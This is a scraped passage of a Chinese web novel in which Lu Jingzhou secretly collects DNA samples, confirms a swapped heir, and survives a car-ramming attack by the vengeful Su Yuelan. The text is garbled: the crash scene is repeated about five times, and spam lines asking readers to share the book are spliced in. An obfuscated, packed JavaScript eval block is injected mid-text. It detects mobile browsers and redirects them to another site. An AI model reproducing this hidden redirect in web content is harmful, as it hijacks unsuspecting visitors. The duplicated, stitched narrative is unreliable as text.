陆京洲的车队毫无阻碍地驶入门口的安保人员看到是他不敢有丝毫阻拦。 他没有惊动已经休息的老太太径直去了主楼。 这个时间陆鹤嵩通常还在书房。 果然书房的门虚掩着透出灯光。 陆京洲没有敲门直接推门而入。 陆鹤嵩正坐在书桌后眉头紧锁面前的烟灰缸里堆满了烟蒂。 苏月兰回来后哭天抢地的控诉和陆沉奕被“请”走的现状显然让他心烦意乱。 看到陆京洲深夜突然闯入他先是一愣随即升起不悦。 “陆京洲?这么晚了你来干什么?连门都不敲像什么样子!”他试图端起父亲的架子。 陆京洲反手关上门隔绝了外面的世界。 他一步步走到书桌前目光扫过陆鹤嵩略显慌乱的脸最后落在他面前那个价值不菲的骨瓷茶杯上那是陆鹤嵩常用的杯子。 “我来取点东西。”陆京洲的声音没什么起伏却带着不容置疑的意味。 “取什么?这里有什么是你的?”陆鹤嵩不明所以但本能地感到一丝不安。 陆京洲没有回答他的目光转向一旁酒柜里陈列的几瓶酒。 其中一瓶威士忌是陆沉奕去年送给陆鹤嵩的生日礼物陆鹤嵩偶尔会小酌一杯用的是特定的水晶杯。 那个杯子此刻正静静地立在酒柜旁的托盘上。 很好 陆京洲抬手对门外示意。 两个穿着黑色西装、训练有素的保镖迅速进来面无表情却动作利落。 “你们想干什么?!”陆鹤嵩猛地站起身厉声喝道心底的不安迅速扩大。 保镖没有理会他一人径直走向书桌目标明确陆鹤嵩用过的茶杯。 另一人则走向酒柜拿起了那个属于陆沉奕的水晶杯。 他们从随身携带的便携式取证箱中取出专用的无菌棉签和样本保存袋。 “陆京洲!你疯了吗?!这是要做什么?!” 陆鹤嵩终于反应过来他们是要取他和陆沉奕的DNA样本! 他脸色骤变又惊又怒冲上前就想阻止“混账东西!你给我 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 停下! 然而,他刚迈出一步,就被不知何时站在他侧前方的陆京洲挡住了去路。 陆京洲比他高半个头,此刻垂眸看着他,眼神冰冷如深潭寒冰,带着一种居高临下的压迫感。 “我亲爱的父亲大人。他刻意加重了父亲这两个字,却充满了讽刺,“只是取一点微不足道的东西,验证一个微不足道的猜测而已。您……何必如此激动?除非,您心里有鬼? 陆鹤嵩被他看得心底发毛,那句“心里有鬼更是戳中了他的痛处。 他脸皮抽搐了几下,色厉内荏地吼道,“我能有什么鬼!你这是不孝!是侵犯隐私!我要告诉老太太! “您请便。陆京洲无所谓地扯了扯嘴角,“正好,等结果出来,也可以一并请奶奶做个见证。 说话间,保镖已经熟练地完成了采样,将棉签头放入保存袋,封好,贴上标签。 整个过程快速、专业, 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他快步走出主楼,将两份样本交给早已等候在车边的,他私人医疗团队中最核心、最可靠的医生。 “用最快的渠道,做最精确的比对。我要万无一失的结果。陆京洲沉声吩咐。 “明白,陆总。加急处理,最快24小时出初步结果,48小时内可以拿到正式报告。医生郑重接过, 听说看这本书的人都是很幸运的,分享后你的运气会更棒 迅速上车离去。 陆京洲站在原地,深吸了一口冰凉的夜空气。 老宅庭院里的灯光将他的影子拉得很长,孤独而坚定。 取证只是第一步,逼问陆鹤嵩关于大哥的下落,需要更充分的准备和时机。 亲子鉴定的结果,将是最有力的撬棍。 他抬头望了一眼岑予衿所在医院的方向,眼中的冰寒稍稍融化。 那里有他此刻最温暖的牵挂。 没有多做停留,陆京洲也上车离开。他需要立刻返回医院,守着他的妻儿。 同时,关于大哥失踪案的深度秘密调查,必须立刻以最高优先级启动。 一旦亲子鉴定的结果如他所料,那就是他向陆鹤嵩、苏月兰以及陆沉奕,发起总攻的时刻。 他们要为自己的贪婪、无耻和罪行,付出永世不得翻身的代价。 夜还很长,但黎明前最黑暗的时刻,往往也是曙光即将刺破天际的前奏。 陆京洲握紧了方向盘,眼神锐利如刀。 这一次,他不会再给那些躲在阴影里的蛆虫,任何喘息的机会。 他要给母亲一个公道,要给自己的亲大哥一个公道,把他们钉死在耻辱柱上。 将私生子养在自己原配名下,这样恶心的事情也只有他们能做的出来。 他们能做的出来,他就敢拆穿! 第253章 陆京洲你该** 夜色如墨! 黑色的车队在柏油路上疾驰,引擎的轰鸣被厚重的车窗隔绝在外,车内只剩下陆京洲沉凝的呼吸声。 他的指尖摩挲着手机屏幕上岑予衿的照片。 照片里她抱着小小的宝宝,眉眼间满是温柔,那抹柔软像一束微光,勉强驱散了他心头大半的戾气。 回到医院时,月嫂正轻手轻脚地哄着刚醒的宝宝。 见陆京洲进来,立刻放轻了动作,低声汇报,“陆先生,太太刚睡一下没多久,宝宝喂过奶了,很乖。” 陆京洲点头示意,放轻脚步走到床边。 岑予衿似乎察觉到他的气息,睫毛轻颤着睁开眼,眼底还带着一丝刚睡醒的惺忪,却在看清他时瞬间亮了起来,“老公~回来了?” “嗯,没耽误太久。”他俯身坐在床沿,小心翼翼的捏了捏她的小脸,又伸手探了探她的额头,确认没有受凉,才松了口气。 “都安排好了,样本已经送去检验。” 岑予衿抬手,轻轻抚上他紧绷的下颌线,指尖能感受到他肌肉的僵硬,“你父亲……有没有为难你?” “他拦不住我。”陆京洲握住她的手,放在唇边轻轻吻了吻,语气平静却带着不容置疑的力量,“只是他听到大哥的名字时,反应很不对劲。” 他将书房里陆鹤嵩瞬间惨白的脸色,颓然跌坐的模样细细说给她听。 岑予衿听得眉头微蹙,“这么看来,他不仅知道陆沉奕不是你的亲大哥,还清楚真正的陆沉奕下落不明的真相?甚至……可能和大哥的失踪有关?” “可能性极大。”陆京洲眼底寒光闪烁,“苏月兰当年能顺利将私生子换进陆家,绝非她一人之力能做到。陆鹤嵩要么是同谋,要么是知情不报,纵容她犯下这等龌龊事。” 正说着,宝宝在婴儿床里哼唧了一声,小手小脚蹬了蹬。 陆京洲起身走过去,动作生疏却无比轻柔地将孩子抱了起来。 小家伙似乎很认他的气息,被他稳稳托在臂弯里,立刻就安静了下来,圆溜溜的眼睛眨了眨,好奇地望着他。 看着孩子酷似岑予衿的眉眼,陆京洲心中的戾气又淡了几分。 他低头,在宝宝柔软的额头上印下一个轻吻,声音低沉而郑重,“爸爸会护好你们和妈妈,把所有伤害我们的人,都清理干净,你们要乖乖的,绝对不能闹妈妈知道吗?” 岑予衿看着他温柔抱娃的模样,心中暖意涌动,却也忍不住叮嘱,“你做事一定要小心,他们既然能掩盖真相 这么多年,肯定还有后手。别为了尽快出结果,让自己陷入险境。” “我知道。”陆京洲将宝宝放回婴儿床,重新走到床边,握紧她的手。 “我已经让暗线全面调查当年大哥失踪前后的所有线索,包括苏月兰当年的行踪、陆家老宅那段时间的安保记录,还有……我母亲当年去世的真正原因。” 他们当着他的面弄**他的母亲,但**具体的原因是什么,让他们这么丧心病狂。 “你怀疑……母亲的死也和他们有关?”岑予衿心头一紧。 “不是怀疑,是我亲眼所见,但必须查清楚。”陆京洲眼神坚定,“这笔账也该算清楚了,我会连本带利讨回来。” 接下来的两天,陆京洲几乎寸步不离医院,一边守着岑予衿和宝宝,一边远程指挥调查。 暗线传来的消息不断汇总。 当年苏月兰怀孕后曾被秘密送往外地待产,直到母亲生子。 母亲生产那天,医院里的所有监控都坏了,医生也全部换了一批,根本查不到。 种种情况都表明了,这件事情一定有问题。 每一条线索,都指向一个令人不寒而栗的真相。 第三天清晨,天刚蒙蒙亮,私人医生就带着一份密封的报告,急匆匆地赶到了医院。 陆京洲接到消息时,岑予衿刚醒,他安抚地拍了拍她的手,“我去去就回。” 走廊尽头的安全通道。 陆京洲接过那份薄薄却重如千钧的报告,深吸一口气,缓缓拆开。 鉴定结果白纸黑字,清晰无比。 陆鹤嵩与“陆沉奕”之间,存在亲生血缘关系! 苏月兰与“陆沉奕”之间,存在亲生血缘关系! 真相,终于被赤裸裸地揭开。 陆京洲捏着报告的手指微微泛白,指节因用力而凸起。 他没有愤怒的嘶吼,也没有失控的咆哮,只是眼底的冰寒彻底冻结,仿佛能将周遭的空气都凝结成霜。 这么多年,他的父亲,是纵容私生子鸠占鹊巢的帮凶,他名义上的大哥,是夺走了亲大哥身份、享受了本该属于陆家嫡子一切的窃贼。 而他的母亲,他的亲大哥,死于这场精心策划的阴谋。 “陆总。”医生站在一旁,小心翼翼地开口,“还有一份补充报告,我们在苏月兰的样本中,检测到了一种微量的镇静剂成分,虽然已经代谢大半,但可以确定,她近期曾被人注射过或者服用过这类药物。” 陆京洲眸色一沉, “查清楚来源了吗?” “正在追查,但初步判断,剂量不大,更像是为了让她保持情绪稳定。” 陆京洲冷笑一声。 看来陆鹤嵩也不是完全信任苏月兰,或许是怕她狗急跳墙,把所有事情都捅出来。 他收起报告,转身往病房走。 走到门口时,他停下脚步,抬手揉了揉眉心,将眼底的狠戾尽数敛去,只留下沉稳和坚定。 推开门,岑予衿正靠在床头等他,眼神里带着关切和一丝紧张。 陆京洲走过去,在她身边坐下,将报告递给她,“结果出来了,和我们猜想的一样。” 岑予衿快速浏览完报告,手指微微颤抖,抬头看向他,“现在……怎么办?” “是时候,让他们付出代价了。”陆京洲握住她的手,“我已经让人将所有证据整理好,包括亲子鉴定报告、当年苏月兰换子的证据、大哥失踪的线索,还有我母亲死因可疑的初步调查结果。今天下午,我会带着这些东西,回老宅。” 他顿了顿,补充道,“我还让人请了律师和公证人员,还有几位德高望重的长辈,一起见证。我要当着所有人的面,揭穿他们的真面目,把属于我大哥的一切,都讨回来。” 岑予衿看着他决绝的眼神,点了点头,“我支持你。但你要记住,无论发生什么,我和宝宝都在等你回来。” “嗯。”陆京洲俯身,在她唇上深深一吻,“笙笙,等我回来。” 陆京洲的吻带着安抚和承诺的意味,却在岑予衿心头激起一丝莫名的不安。 她看着他整理西装,拿起装有决定性证据的公文包,那背影挺拔却仿佛即将踏入风暴中心。 “阿洲,”她忍不住再次叫住他,声音带着一丝不易察觉的颤抖,“路上小心……一定要小心。” 陆京洲回头,冲她安抚性地笑了笑,那笑容在晨光中显得格外坚定,却也格外遥远。 “放心,我安排了人跟着。” 可……岑予衿心头那股不祥的预感,并没有因此消散。 陆京洲乘坐的黑色轿车驶离医院,前后各有两辆护卫车。 他靠在后座,闭目养神,脑中快速梳理着下午在老宅将要摊牌的所有细节。 每一个步骤,每一种可能出现的反应,他都反复推演过。 车子平稳地行驶在通往陆家老宅的主干道上。 这条路他走过无数次,闭着眼睛都不会错。 然而,就在一个车辆相对稀少、视野开阔的路段,异变陡 生! 前方十字路口明明是绿灯,一辆原本停在右侧辅路,毫不起眼的灰色面包车,却突然毫无征兆地启动。 引擎发出刺耳的咆哮,犹如一头失控的野兽,猛地加速。 不顾一切地朝着陆京洲所乘坐的轿车左侧狠狠撞来! 速度之快,角度之刁钻,明显是蓄谋已久,算准了时机! “陆总小心!”副驾驶的保镖反应已是极快,厉声示警的同时,司机也猛打方向盘试图规避。 但对方的撞击目标明确,就是陆京洲所在的后排左侧! “砰——!!!” 一声巨响,钢铁剧烈扭曲、摩擦、碎裂的刺耳声音骤然撕裂了清晨的宁静! 巨大的冲击力让陆京洲乘坐的轿车整个侧移出去,左侧车门严重凹陷。 车窗玻璃瞬间炸成蛛网状,碎片四溅!安全气囊猛地弹出,车内弥漫开一股焦糊和粉尘的味道。 撞击并未停止! 那辆灰色面包车在第一次撞击后,似乎也受损不轻,车头瘪了一大块。 但它竟然没有停下,反而疯狂地倒车,轮胎在地上摩擦出刺耳的声音和黑烟。 再次调整方向,引擎发出不堪重负的嘶吼,又一次朝着已经受损的轿车撞来! 这一次,目标直指陆京洲可能被卡住的位置! 灰色面包车的车窗摇落,苏月兰披散着头发的脸赫然出现在驾驶座,眼底布满红血丝,状若疯魔。 她死死踩着油门,方向盘在手中剧烈晃动,嘴里嘶吼着不堪入耳的咒骂,每一个字都淬着怨毒,“陆京洲!你这个孽种!你**!你给我**啊!” 第二次撞击的力道比第一次更猛,仿佛要将整辆车撞碎才肯罢休。 轿车被撞得再次侧滑,车身与地面摩擦出长长的火花,发出令人牙酸的金属扭曲声。 后排的车门已经完全变形,卡在车架上无法打开。 “疯女人!”副驾驶的保镖脸色骤变,一边对着对讲机嘶吼,“二号车、三号车,控制那辆面包车!保护陆总!” 前后护卫车的反应极快,瞬间加速包抄过来,试图将灰色面包车逼停。 但苏月兰此刻完全丧失了理智,眼中只有毁掉陆京洲的疯狂。 她猛打方向盘,避开左侧护卫车的拦截,车头一转,竟然朝着轿车的尾部又撞了过去! “砰!” 第三次撞击让轿车的后备箱凹陷下去,车内的物品被震得四散飞溅。 苏月兰的声音透过破碎的车窗传进来,带着濒临崩溃的哭嚎和歇斯底里的恨意,“都是你!都是你毁了我的一切!我的沉奕!我的富贵!你不该查!你根本就不该活在这个世上!” 她似乎完全不顾及自己的安危,面包车的车头已经严重损毁,引擎发出断断续续的异响。 随时可能熄火,但她依旧踩着油门,车轮在地面上原地打滑,黑烟滚滚,像是一头濒死挣扎的野兽。 生! 前方十字路口明明是绿灯,一辆原本停在右侧辅路,毫不起眼的灰色面包车,却突然毫无征兆地启动。 引擎发出刺耳的咆哮,犹如一头失控的野兽,猛地加速。 不顾一切地朝着陆京洲所乘坐的轿车左侧狠狠撞来! 速度之快,角度之刁钻,明显是蓄谋已久,算准了时机! “陆总小心!”副驾驶的保镖反应已是极快,厉声示警的同时,司机也猛打方向盘试图规避。 但对方的撞击目标明确,就是陆京洲所在的后排左侧! “砰——!!!” 一声巨响,钢铁剧烈扭曲、摩擦、碎裂的刺耳声音骤然撕裂了清晨的宁静! 巨大的冲击力让陆京洲乘坐的轿车整个侧移出去,左侧车门严重凹陷。 车窗玻璃瞬间炸成蛛网状,碎片四溅!安全气囊猛地弹出,车内弥漫开一股焦糊和粉尘的味道。 撞击并未停止! 那辆灰色面包车在第一次撞击后,似乎也受损不轻,车头瘪了一大块。 但它竟然没有停下,反而疯狂地倒车,轮胎在地上摩擦出刺耳的声音和黑烟。 再次调整方向,引擎发出不堪重负的嘶吼,又一次朝着已经受损的轿车撞来! 这一次,目标直指陆京洲可能被卡住的位置! 灰色面包车的车窗摇落,苏月兰披散着头发的脸赫然出现在驾驶座,眼底布满红血丝,状若疯魔。 她死死踩着油门,方向盘在手中剧烈晃动,嘴里嘶吼着不堪入耳的咒骂,每一个字都淬着怨毒,“陆京洲!你这个孽种!你**!你给我**啊!” 第二次撞击的力道比第一次更猛,仿佛要将整辆车撞碎才肯罢休。 轿车被撞得再次侧滑,车身与地面摩擦出长长的火花,发出令人牙酸的金属扭曲声。 后排的车门已经完全变形,卡在车架上无法打开。 “疯女人!”副驾驶的保镖脸色骤变,一边对着对讲机嘶吼,“二号车、三号车,控制那辆面包车!保护陆总!” 前后护卫车的反应极快,瞬间加速包抄过来,试图将灰色面包车逼停。 但苏月兰此刻完全丧失了理智,眼中只有毁掉陆京洲的疯狂。 她猛打方向盘,避开左侧护卫车的拦截,车头一转,竟然朝着轿车的尾部又撞了过去! “砰!” 第三次撞击让轿车的后备箱凹陷下去,车内的物品被震得四散飞溅。 苏月兰的声音透过破碎的车窗传进来,带着濒临崩溃的哭嚎和歇斯底里的恨意,“都是你!都是你毁了我的一切!我的沉奕!我的富贵!你不该查!你根本就不该活在这个世上!” 她似乎完全不顾及自己的安危,面包车的车头已经严重损毁,引擎发出断断续续的异响。 随时可能熄火,但她依旧踩着油门,车轮在地面上原地打滑,黑烟滚滚,像是一头濒死挣扎的野兽。 生! 前方十字路口明明是绿灯,一辆原本停在右侧辅路,毫不起眼的灰色面包车,却突然毫无征兆地启动。 引擎发出刺耳的咆哮,犹如一头失控的野兽,猛地加速。 不顾一切地朝着陆京洲所乘坐的轿车左侧狠狠撞来! 速度之快,角度之刁钻,明显是蓄谋已久,算准了时机! “陆总小心!”副驾驶的保镖反应已是极快,厉声示警的同时,司机也猛打方向盘试图规避。 但对方的撞击目标明确,就是陆京洲所在的后排左侧! “砰——!!!” 一声巨响,钢铁剧烈扭曲、摩擦、碎裂的刺耳声音骤然撕裂了清晨的宁静! 巨大的冲击力让陆京洲乘坐的轿车整个侧移出去,左侧车门严重凹陷。 车窗玻璃瞬间炸成蛛网状,碎片四溅!安全气囊猛地弹出,车内弥漫开一股焦糊和粉尘的味道。 撞击并未停止! 那辆灰色面包车在第一次撞击后,似乎也受损不轻,车头瘪了一大块。 但它竟然没有停下,反而疯狂地倒车,轮胎在地上摩擦出刺耳的声音和黑烟。 再次调整方向,引擎发出不堪重负的嘶吼,又一次朝着已经受损的轿车撞来! 这一次,目标直指陆京洲可能被卡住的位置! 灰色面包车的车窗摇落,苏月兰披散着头发的脸赫然出现在驾驶座,眼底布满红血丝,状若疯魔。 她死死踩着油门,方向盘在手中剧烈晃动,嘴里嘶吼着不堪入耳的咒骂,每一个字都淬着怨毒,“陆京洲!你这个孽种!你**!你给我**啊!” 第二次撞击的力道比第一次更猛,仿佛要将整辆车撞碎才肯罢休。 轿车被撞得再次侧滑,车身与地面摩擦出长长的火花,发出令人牙酸的金属扭曲声。 后排的车门已经完全变形,卡在车架上无法打开。 “疯女人!”副驾驶的保镖脸色骤变,一边对着对讲机嘶吼,“二号车、三号车,控制那辆面包车!保护陆总!” 前后护卫车的反应极快,瞬间加速包抄过来,试图将灰色面包车逼停。 但苏月兰此刻完全丧失了理智,眼中只有毁掉陆京洲的疯狂。 她猛打方向盘,避开左侧护卫车的拦截,车头一转,竟然朝着轿车的尾部又撞了过去! “砰!” 第三次撞击让轿车的后备箱凹陷下去,车内的物品被震得四散飞溅。 苏月兰的声音透过破碎的车窗传进来,带着濒临崩溃的哭嚎和歇斯底里的恨意,“都是你!都是你毁了我的一切!我的沉奕!我的富贵!你不该查!你根本就不该活在这个世上!” 她似乎完全不顾及自己的安危,面包车的车头已经严重损毁,引擎发出断断续续的异响。 随时可能熄火,但她依旧踩着油门,车轮在地面上原地打滑,黑烟滚滚,像是一头濒死挣扎的野兽。 生! 前方十字路口明明是绿灯,一辆原本停在右侧辅路,毫不起眼的灰色面包车,却突然毫无征兆地启动。 引擎发出刺耳的咆哮,犹如一头失控的野兽,猛地加速。 不顾一切地朝着陆京洲所乘坐的轿车左侧狠狠撞来! 速度之快,角度之刁钻,明显是蓄谋已久,算准了时机! “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117848|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆总小心!”副驾驶的保镖反应已是极快,厉声示警的同时,司机也猛打方向盘试图规避。 但对方的撞击目标明确,就是陆京洲所在的后排左侧! “砰——!!!” 一声巨响,钢铁剧烈扭曲、摩擦、碎裂的刺耳声音骤然撕裂了清晨的宁静! 巨大的冲击力让陆京洲乘坐的轿车整个侧移出去,左侧车门严重凹陷。 车窗玻璃瞬间炸成蛛网状,碎片四溅!安全气囊猛地弹出,车内弥漫开一股焦糊和粉尘的味道。 撞击并未停止! 那辆灰色面包车在第一次撞击后,似乎也受损不轻,车头瘪了一大块。 但它竟然没有停下,反而疯狂地倒车,轮胎在地上摩擦出刺耳的声音和黑烟。 再次调整方向,引擎发出不堪重负的嘶吼,又一次朝着已经受损的轿车撞来! 这一次,目标直指陆京洲可能被卡住的位置! 灰色面包车的车窗摇落,苏月兰披散着头发的脸赫然出现在驾驶座,眼底布满红血丝,状若疯魔。 她死死踩着油门,方向盘在手中剧烈晃动,嘴里嘶吼着不堪入耳的咒骂,每一个字都淬着怨毒,“陆京洲!你这个孽种!你**!你给我**啊!” 第二次撞击的力道比第一次更猛,仿佛要将整辆车撞碎才肯罢休。 轿车被撞得再次侧滑,车身与地面摩擦出长长的火花,发出令人牙酸的金属扭曲声。 后排的车门已经完全变形,卡在车架上无法打开。 “疯女人!”副驾驶的保镖脸色骤变,一边对着对讲机嘶吼,“二号车、三号车,控制那辆面包车!保护陆总!” 前后护卫车的反应极快,瞬间加速包抄过来,试图将灰色面包车逼停。 但苏月兰此刻完全丧失了理智,眼中只有毁掉陆京洲的疯狂。 她猛打方向盘,避开左侧护卫车的拦截,车头一转,竟然朝着轿车的尾部又撞了过去! “砰!” 第三次撞击让轿车的后备箱凹陷下去,车内的物品被震得四散飞溅。 苏月兰的声音透过破碎的车窗传进来,带着濒临崩溃的哭嚎和歇斯底里的恨意,“都是你!都是你毁了我的一切!我的沉奕!我的富贵!你不该查!你根本就不该活在这个世上!” 她似乎完全不顾及自己的安危,面包车的车头已经严重损毁,引擎发出断断续续的异响。 随时可能熄火,但她依旧踩着油门,车轮在地面上原地打滑,黑烟滚滚,像是一头濒死挣扎的野兽。 生! 前方十字路口明明是绿灯,一辆原本停在右侧辅路,毫不起眼的灰色面包车,却突然毫无征兆地启动。 引擎发出刺耳的咆哮,犹如一头失控的野兽,猛地加速。 不顾一切地朝着陆京洲所乘坐的轿车左侧狠狠撞来! 速度之快,角度之刁钻,明显是蓄谋已久,算准了时机! “陆总小心!”副驾驶的保镖反应已是极快,厉声示警的同时,司机也猛打方向盘试图规避。 但对方的撞击目标明确,就是陆京洲所在的后排左侧! “砰——!!!” 一声巨响,钢铁剧烈扭曲、摩擦、碎裂的刺耳声音骤然撕裂了清晨的宁静! 巨大的冲击力让陆京洲乘坐的轿车整个侧移出去,左侧车门严重凹陷。 车窗玻璃瞬间炸成蛛网状,碎片四溅!安全气囊猛地弹出,车内弥漫开一股焦糊和粉尘的味道。 撞击并未停止! 那辆灰色面包车在第一次撞击后,似乎也受损不轻,车头瘪了一大块。 但它竟然没有停下,反而疯狂地倒车,轮胎在地上摩擦出刺耳的声音和黑烟。 再次调整方向,引擎发出不堪重负的嘶吼,又一次朝着已经受损的轿车撞来! 这一次,目标直指陆京洲可能被卡住的位置! 灰色面包车的车窗摇落,苏月兰披散着头发的脸赫然出现在驾驶座,眼底布满红血丝,状若疯魔。 她死死踩着油门,方向盘在手中剧烈晃动,嘴里嘶吼着不堪入耳的咒骂,每一个字都淬着怨毒,“陆京洲!你这个孽种!你**!你给我**啊!” 第二次撞击的力道比第一次更猛,仿佛要将整辆车撞碎才肯罢休。 轿车被撞得再次侧滑,车身与地面摩擦出长长的火花,发出令人牙酸的金属扭曲声。 后排的车门已经完全变形,卡在车架上无法打开。 “疯女人!”副驾驶的保镖脸色骤变,一边对着对讲机嘶吼,“二号车、三号车,控制那辆面包车!保护陆总!” 前后护卫车的反应极快,瞬间加速包抄过来,试图将灰色面包车逼停。 但苏月兰此刻完全丧失了理智,眼中只有毁掉陆京洲的疯狂。 她猛打方向盘,避开左侧护卫车的拦截,车头一转,竟然朝着轿车的尾部又撞了过去! “砰!” 第三次撞击让轿车的后备箱凹陷下去,车内的物品被震得四散飞溅。 苏月兰的声音透过破碎的车窗传进来,带着濒临崩溃的哭嚎和歇斯底里的恨意,“都是你!都是你毁了我的一切!我的沉奕!我的富贵!你不该查!你根本就不该活在这个世上!” 她似乎完全不顾及自己的安危,面包车的车头已经严重损毁,引擎发出断断续续的异响。 随时可能熄火,但她依旧踩着油门,车轮在地面上原地打滑,黑烟滚滚,像是一头濒死挣扎的野兽。 生! 前方十字路口明明是绿灯,一辆原本停在右侧辅路,毫不起眼的灰色面包车,却突然毫无征兆地启动。 引擎发出刺耳的咆哮,犹如一头失控的野兽,猛地加速。 不顾一切地朝着陆京洲所乘坐的轿车左侧狠狠撞来! 速度之快,角度之刁钻,明显是蓄谋已久,算准了时机! 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她推开车门,双腿发软地跌坐在地上。 又用尽全力撑起身子,踉跄着向那辆已经被撞得面目全非的黑色轿车挪去。 碎玻璃扎进她的掌心和膝盖,火辣辣地疼,可她像是毫无知觉。 眼中只有那扭曲变形的车身,嘴角咧开一个诡异的弧度。 “**……都**……她喃喃自语,声音嘶哑破碎,却带着压抑不住的狂喜。 “陆京洲你这个挨千刀的死杂种!短命鬼!终于被老娘撞**!你的报应来了!我的沉奕,妈妈为你报仇了! 双手死死抠着轿车残骸的铁皮,指甲断裂翻飞也浑然不觉。 “你这个野种!你妈就是个抢男人的**!当年占了我的位置,生下你这个孽障来碍眼!现在你们母子俩都得下地狱!还有你那个死鬼大哥,早就被我扔去喂野狗了连骨头都不剩!你这辈子都别想找到他! “我忍了你二十多年!看着你占着陆家的家产,享受着本该属于我儿子们的一切,我早就想把你挫骨扬灰了! 她的嘶吼震得人耳膜发疼,血沫顺着嘴角飞溅,“你以为你聪明?你以为你能拆穿我?做梦!今天我就是拼了这条命,也要拉着你垫背!你**吧!死得好!死得痛快! “你那个小**老婆和刚生出来的孽种也别想活!等我收拾完你,就去医院把她们娘俩掐死,让你们一家在地狱团圆!我要让你们陆家**!永世不得翻身! 她死死盯着轿车凹陷的后排,仿佛能看到里面血肉模糊的景象。 心头积压多年的怨恨和鲜血顺着她的下巴滴落,在地面晕开一朵朵暗红妖艳的花。 她却笑得愈发肆无忌惮,那笑声尖锐刺耳,在空旷的路段回荡,透着一种玉石俱焚后的疯魔。 忽然! 一阵整齐划一的脚步声骤然响起,打破了现场的死寂。 原本护在轿车周围的保镖迅速分列两侧,形成两道笔直的人墙,神色冷峻,气场迫人。 阳光透过晨雾洒下来,在他们身后勾勒出一道修长挺拔的身影。 陆京洲缓缓从人墙中间走出,单手插在定制西装的裤袋里,另一只手漫不经心地把玩着手机。 你的朋友正在书荒,快去帮帮他吧 屏幕上还停留在与岑予衿的聊天界面最新一条消息是他几分钟前发的“一切安全”。 他的西装外套沾染了些许灰尘袖口微微卷起露出线条流畅的小臂除此之外竟看不出丝毫狼狈。 他的步伐从容不迫每一步都像踩在苏月兰的心脏上让她脸上的笑容瞬间僵住眼中的狂喜被突如其来的错愕取代。 “你……你怎么会……”苏月兰瞪大了眼睛难以置信地看着眼前的人嘴唇哆嗦着连完整的句子都说不出来。 “不可能!你明明在里面!车子都成这样了……你怎么可能活着?!” 陆京洲在她面前几步远的地方停下抬眸看向她眼底没有丝毫波澜 嘴角却勾起一抹带着嘲讽的弧度语气轻慢又带着刺骨的寒意“是吗?那还真是要让你失望了苏女士~” 他的声音不大却清晰地穿透了现场的嘈杂落在苏月兰耳中如同惊雷炸响。 苏月兰浑身一震像是被抽走了所有力气踉跄着后退一步指着他眼神里充满了惊恐和不解“你……你到底是人是鬼?!” “我当然是人。”陆京洲嗤笑一声目光扫过她满身的血迹和疯癫的模样眼底的嘲讽更甚“倒是苏女士为了杀我连命都不要了?可惜啊白费力气。” 他顿了顿把玩着手机的手指微微一顿语气骤然变冷“你以为这种拙劣的手段就能置我于死地?苏月兰你是不是忘了这么多年来我能在陆家站稳脚跟靠的从来不是侥幸。” 话音刚落几名穿着制服的警察已经赶到现场迅速封锁了路段将围观的人群隔离在外。 同时陆京洲的私人律师也匆匆赶来径直走到他身边低声汇报着什么。 苏月兰看着这一切终于反应过来。 陆京洲早就预料到了她的反扑甚至可能早就知道她会用这种极端的方式动手。 她的精心策划在他面前不过是一场可笑的闹剧。 巨大的绝望和恐惧瞬间吞噬了她她双腿一软重重地跪倒在地上。 鲜血和泥土沾满了她的膝盖曾经的嚣张和疯魔荡然无存只剩下无尽的恐慌和崩溃的哭喊“不……不可能……我明明算好了一切……为什么……” 陆京洲居高临下地看着她眼神冷漠得像在看一件垃圾语气平静却带着不容置疑的威严。 “你以为的算无遗策不过是自投罗网。苏月兰蓄意**、换子 你的朋友正在书荒,快去帮帮他吧 夺产、涉嫌参与我母亲和大哥的死亡案件……你欠下的每一笔账,今天,都该清算了。” 两名警察上前,拿出**,就要将苏月兰带走。 苏月兰猛地挣扎起来,嘶吼着冲向陆京洲,“我要杀了你!陆京洲!我做鬼也不会放过你!” 但她刚冲出去两步,就被旁边的保镖死死按住,动弹不得。 她只能眼睁睁地看着陆京洲转身离去,背影依旧挺拔,没有丝毫留恋。 “带走。”陆京洲的声音传来,不带一丝情绪。 苏月兰被警察拖拽着往警车走去,她疯狂地扭动着身体,哭喊着,咒骂着, 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陆京洲再次看向那辆严重变形的轿车,眼底闪过一丝厉色。 这场游戏,他已经陪他们玩得够久了。 现在,是时候结束了。 特助刚转身要去安排媒体事宜,陆京洲的声音突然响起,带着不容置喙的决断,“等等。” 他眸色沉沉,目光扫过被警察押着,仍在低声咒骂的苏月兰,嘴角勾起一抹冷冽的弧度,“把她带上。” 特助一愣,随即反应过来,躬身应道,“明白,陆总。” “放开我!你们凭什么抓我!陆京洲你这个贱种!我要杀了你!”苏月兰还在挣扎,听到这话更是如同被点火的炮仗,疯狂扭动着身体,铁链摩擦手腕发出刺耳的声响。 “你想带老娘去哪?我告诉你们,我儿子是陆家长孙,你们不能这么对我!陆京洲你这个挨千刀的,你不得好死!” 两名警察对视一眼,依言松开了些许束缚,却依旧牢牢钳制着她的胳膊,防止她再次发狂伤人。 苏月兰被拖拽着往陆京洲的车边走去,一路上污言秽语不绝于耳,那些恶毒的字眼如同淬了毒的针,密密麻麻地扎向周围,却只换来陆京洲愈发冰冷的眼神。 “你这个小畜生!你想让我去老宅丢人现眼?我偏不让你如愿!陆鹤嵩!你这个没用的东西!快来救我!你的儿子还在等我回去!” 苏月兰朝着远处嘶吼,声音嘶哑得几乎断裂,额角的伤口因为剧烈挣扎再次渗出血来,顺着脸颊滑落,更显疯癫。 “陆京洲,你以为这样就能打垮我?我告诉你,我苏月兰就算是死,也要拉着你垫背!你那个小**老婆和孽种,迟早有一天会被我**万段!” 第255章 把她嘴巴缝上 陆京洲的脚步倏地停住。 那句“**万段”像一根淬了冰的毒刺,精准地扎进他心脏最深处那片不容触碰的柔软。 